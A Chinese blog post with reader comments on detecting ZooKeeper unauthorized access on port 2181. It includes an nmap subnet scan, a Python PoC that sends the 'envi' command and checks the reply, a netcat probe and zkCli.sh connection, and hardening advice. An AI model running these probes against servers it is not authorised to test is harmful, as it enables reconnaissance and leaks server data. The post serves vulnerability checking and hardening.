A-A+
namap 检测 ZooKeeper未授权访问漏洞+ python 验证PoC

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】
Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
发现 Zookeeper
nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24 //(注意需要最新版本namap)
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt
python 验证脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | # coding=utf-8 import socket def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) flag = "envi" # envi # dump # reqs # ruok # stat s.send(flag) data = s.recv(1024) s.close() if 'Environment' in data: return u"Zookeeper Unauthorized access" except: pass def main(): ip = "1xx.xxx.xxx.x1" //这里改成你要验证的IP print check(ip, 2181, 2) if __name__ == '__main__': main() |
脚本参考来源:https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/zookeeper_unauth_access.py
https://github.com/lijiejie/BBScan/blob/master/scripts/zookeeper_unauth.py
深入利用:
执行以下命令即可远程获取该服务器的环境: echo envi | nc ip port
直接连接: ./zkCli.sh -server ip:port
5.3 漏洞加固
1、禁止把 Zookeeper 直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定 IP 访问
这个 zkCli.sh 脚本能分享下吗,一直没找到,谢谢。
zkCli.sh脚本是Zookeeper安装包中自带的一个客户端,放在$ZK_HOME/bin目录下
有几处nmap拼错了